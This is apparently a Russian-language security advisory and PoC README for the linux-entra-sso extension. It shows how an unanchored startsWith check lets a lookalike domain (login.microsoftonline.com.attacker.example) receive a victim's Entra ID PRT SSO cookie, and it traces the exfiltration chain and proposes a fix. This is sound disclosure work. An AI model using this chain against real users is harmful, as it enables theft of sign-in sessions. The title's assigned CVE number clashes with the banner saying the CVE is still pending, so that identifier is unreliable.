PoC — ошибка проверки origin, позволяющая осуществить эксфильтрацию SSO-cookie PRT Entra ID в linux-entra-sso (GHSA-g9vc-5j77-f2cm, CVE-2026-87005, CVSS 5.3).
Статус CVE: запрошен, ожидает присвоения. Данная уязвимость опубликована как GHSA-g9vc-5j77-f2cm. После присвоения CVE этот репозиторий будет переименован в
CVE-YYYY-NNNNN-linux-entra-sso-PoC, а этот баннер заменён ссылкой на CVE.
| Исследователь | Dostxodjayev Abdullox (@squeeze440) |
| Рекомендация | GHSA-g9vc-5j77-f2cm |
| CVSS 3.1 | 5.3 (Средний) |
| Слабость | CWE-346, CWE-20 |
Platform.SSO_URL в linux-entra-sso не имеет завершающего разделителя пути, поэтому защитная проверка onBeforeSendHeaders в Firefox/Thunderbird (e.url.startsWith(Platform.SSO_URL)) обходится любым зарегистрированным злоумышленником доменом вида login.microsoftonline.com.<attacker-domain>, что заставляет расширение получить и внедрить действующий SSO-cookie Primary Refresh Token (PRT) Entra ID в запросы, отправляемые на собственный хост злоумышленника.
siemens/linux-entra-sso — браузерный плагин для Linux для SSO в Microsoft Entra ID через локальный Microsoft Identity Broker (Intune). Сборка для Firefox практически эксплуатируема; Thunderbird использует идентичный уязвимый код, но в настоящее время недостижим через этот вектор (см. Подробности); Chrome/Chromium не затронут (см. Подробности).
v1.10.0 (коммит 676854c, текущая main на 2026-08-03). Подтверждено наличие в текущем релизе, т.е. не исправлено GHSA-52rj-42vh-2rxc / CVE-2026-42177 (то исправление затронуло только адаптер Chrome declarativeNetRequest).
5.3 (Средний) — CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N
AC:H — эксплуатация требует, чтобы расширение имело предоставленное разрешение хоста, покрывающее созданное злоумышленником имя хоста. На практике злоумышленник должен методами социальной инженерии заставить жертву нажать ссылку расширения "Background SSO (enable)", находясь на странице злоумышленника — условие, не контролируемое напрямую злоумышленником, что соответствует обоснованию сложности, использованному для родственной GHSA-52rj-42vh-2rxc.UI:R — предоставление разрешения является явным кликом пользователя.C:H — украденный SSO-cookie PRT напрямую воспроизводим против login.microsoftonline.com для выпуска access/ID-токенов для любого приложения, на которое жертва дала согласие (полный перехват SSO-сессии).I:N/A:N — ошибка раскрывает учётные данные, но сама по себе не изменяет данные и не влияет на доступность.Первопричина — src/platform.js:9:
static SSO_URL = "https://login.microsoftonline.com";
Нет завершающего /.
Уязвимая проверка — platform/firefox/js/platform-firefox.js:55-59:
async #onBeforeSendHeaders(e) {
// filter out requests that are not part of the OAuth2.0 flow
if (!e.url.startsWith(Platform.SSO_URL)) {
return { requestHeaders: e.requestHeaders };
}
...
String.prototype.startsWith выполняет сравнение по необработанному префиксу символов, а не сравнение имени хоста/источника. Поскольку Platform.SSO_URL не имеет завершающего разделителя, любой URL, чей хост — login.microsoftonline.com.<anything> — синтаксически допустимое DNS-имя, полностью контролируемое злоумышленником — также удовлетворяет проверке, например:
"https://login.microsoftonline.com.attacker.example/phish".startsWith("https://login.microsoftonline.com")
=> true
Это та же защитная проверка, которую описание самой GHSA-52rj-42vh-2rxc называло "канонической защитной проверкой ... отсутствующей в адаптере Chrome" — здесь она присутствует, но сама по себе обходима, поэтому исправление из рекомендации (которое лишь усилило правило Chrome declarativeNetRequest) оставило этот путь открытым. platform/thunderbird/js/platform-thunderbird.js расширяет PlatformFirefox без переопределения update_request_handlers() или #onBeforeSendHeaders, поэтому Thunderbird наследует тот же недостаток.
Путь срабатывания (update_request_handlers, platform/firefox/js/platform-firefox.js:36-53): слушатель регистрируется с urls: this.well_known_app_filters, который заполняется из chrome.permissions.getAll().origins (src/platform.js:78-79, update_host_permissions()). Любое разрешение хоста, предоставленное пользователем — включая разрешение для одного сайта через ссылку "Background SSO (enable)" во всплывающем окне (popup/menu.js:171-260, использующую current_filter = "https://" + tab_hostname + "/*", полученный из активной вкладки) — достаточно для регистрации слушателя для этого конкретного хоста. Разрешение https://*/* для всех хостов не требуется, в отличие от предварительного условия эксплуатации, описанного в GHSA-52rj-42vh-2rxc; здесь достаточно одного целевого разрешения на собственный похожий домен злоумышленника, что является более низким порогом, чем PoC предыдущей рекомендации.
Сток — тот же файл, строки 60-70:
let prt = await this.#broker.acquirePrtSsoCookie(this.account, e.url);
ssoLog("inject PRT SSO into request headers");
e.requestHeaders.push({ name: prt.cookieName, value: prt.cookieContent });
e.url (полный URL злоумышленника) передаётся напрямую как ssoUrl в нативный брокер. linux-entra-sso.py:27-30 документирует, что бэкенд брокера Microsoft не проверяет ssoUrl на стороне сервера ("правильное значение не проверяется ... бэкендом авторизации"), поэтому cookie выпускается в любом случае и внедряется в заголовки запроса, фактически идущего на собственный хост злоумышленника — прямая эксфильтрация, а не просто установка заголовка в запросе к Microsoft.
Chrome не затронут: platform/chrome/js/platform-chrome.js:96-99 (после исправления GHSA-52rj-42vh-2rxc, коммит 8183759) привязывается к "|" + Platform.SSO_URL + "/" (якорь начала строки + завершающий слэш) и добавляет явный белый список requestDomains: [URL.parse(Platform.SSO_URL).hostname] — оба корректно отклоняют хост login.microsoftonline.com.attacker.example.
Thunderbird — тот же уязвимый код, в настоящее время недостижим через этот вектор: platform/thunderbird/js/platform-thunderbird.js расширяет PlatformFirefox без изменений, поэтому идентичный обход startsWith присутствует в бинарнике сборки Thunderbird. Однако platform/thunderbird/manifest.json объявляет только фиксированный "host_permissions": ["https://login.microsoftonline.com/*"] с отсутствием ключа optional_host_permissions. WebExtensions позволяет chrome.permissions.request() предоставлять источники только предварительно объявленные в optional_permissions/optional_host_permissions; поскольку Thunderbird не объявляет ни одного, поток "Background SSO (enable)" во всплывающем окне (popup/menu.js:259-261) не может получить разрешение для выбранного злоумышленником домена в Thunderbird на сегодняшний день. Ошибка там латентна, в настоящее время недостижима для злоумышленника, и всё же должна быть исправлена для защиты в глубину / на случай, если optional_host_permissions когда-либо будет добавлен в этот манифест.
Динамически подтверждён уязвимый предикат против реальной поставляемой константы (импортированной напрямую из src/platform.js цели, а не скопированной вручную). Скрипт сохранён в ~/engagements/linux-entra-sso/evidence/prt_bypass_poc.mjs.
$ node prt_bypass_poc.mjs
Real Platform.SSO_URL from src/platform.js: "https://login.microsoftonline.com"
Legit MS URL passes filter (expected true): true
Attacker domain-suffix URL: https://login.microsoftonline.com.attacker.example/phish
Attacker URL passes filter (SHOULD be false, is): true
[CONFIRMED] Platform.SSO_URL lacks a trailing '/', so startsWith()
treats 'login.microsoftonline.com.attacker.example' as an in-scope
SSO endpoint. onBeforeSendHeaders would call:
broker.acquirePrtSsoCookie(this.account, "https://login.microsoftonline.com.attacker.example/phish")
and inject the returned PRT cookie into the request headers sent to
the attacker-controlled host.
Остальная часть цепочки (брокер, выпускающий cookie для непроверенного ssoUrl, и срабатывание слушателя WebExtensions webRequest для предоставленного разрешения на один хост) прослежена статически, а не подтверждена динамически — воспроизведение её от начала до конца требует работающего зарегистрированного Linux-хоста с запущенным microsoft-identity-broker против реального тенанта Entra, что выходит за рамки данного окружения. Прослеженные шаги:
login.microsoftonline.com.attacker.example и размещает там страницу.popup/menu.js:259-261 → request_host_permission(["https://login.microsoftonline.com.attacker.example/*"])).chrome.permissions.onAdded → on_permissions_changed() (src/background.js:30-34) → update_host_permissions() обновляет well_known_app_filters → update_request_handlers() перерегистрирует слушатель Firefox webRequest.onBeforeSendHeaders, включая новый шаблон хоста.main_frame/sub_frame к https://login.microsoftonline.com.attacker.example/... вызывает слушатель; проверка startsWith (показанная выше как обойдённая) проходит.broker.acquirePrtSsoCookie(account, e.url) возвращает реальный cookie PRT (согласно linux-entra-sso.py:27-30, ssoUrl не проверяется бэкендом брокера).Злоумышленник, который заставит пользователя linux-entra-sso Firefox предоставить "Background SSO" для одного контролируемого злоумышленником похожего домена, получает SSO-cookie PRT Entra ID жертвы непосредственно на своём сервере. Этот cookie воспроизводим против login.microsoftonline.com для получения access/ID-токенов для любого приложения, на которое жертва дала согласие — полный перехват SSO-сессии. В отличие от предыдущей рекомендации, это не требует широкого разрешения https://*/* для всех хостов, только разрешения для одного сайта на собственном домене злоумышленника. Thunderbird поставляет ту же ошибочную проверку, но его манифест в настоящее время не имеет способа предоставить во время выполнения разрешение для произвольного домена, поэтому он не эксплуатируем через этот вектор сегодня (см. Подробности).
Привяжите сравнение к надлежащей проверке источника/имени хоста вместо необработанного строкового префикса, повторяя исправление, уже применённое к адаптеру Chrome:
if (!e.url.startsWith(Platform.SSO_URL + "/")) {
return { requestHeaders: e.requestHeaders };
}
или, более надёжно, сравните new URL(e.url).origin с new URL(Platform.SSO_URL).origin (также отклоняет уловки с userinfo/портом). Применение исправления на уровне константы Platform.SSO_URL (добавление завершающего / один раз в src/platform.js) закрыло бы это как для проверки Firefox, так и для любого другого потребителя константы, а регрессионный тест, утверждающий, что startsWith отклоняет https://login.microsoftonline.com.attacker.example/..., закрыл бы пробел в покрытии так же, как предложенный регрессионный тест testMatchOutcome из исправления Chrome сделал для GHSA-52rj-42vh-2rxc.
Dostxodjayev Abdullox (GitHub: squeeze440)
В репозитории отсутствует SECURITY.md, и GitHub API сообщает об отсутствии политики безопасности на уровне репозитория, но GitHub Private Vulnerability Reporting включён на siemens/linux-entra-sso (проверено через кнопку "Report a vulnerability" на вкладке Security репозитория). Сообщайте через этот канал: https://github.com/siemens/linux-entra-sso/security/advisories/new.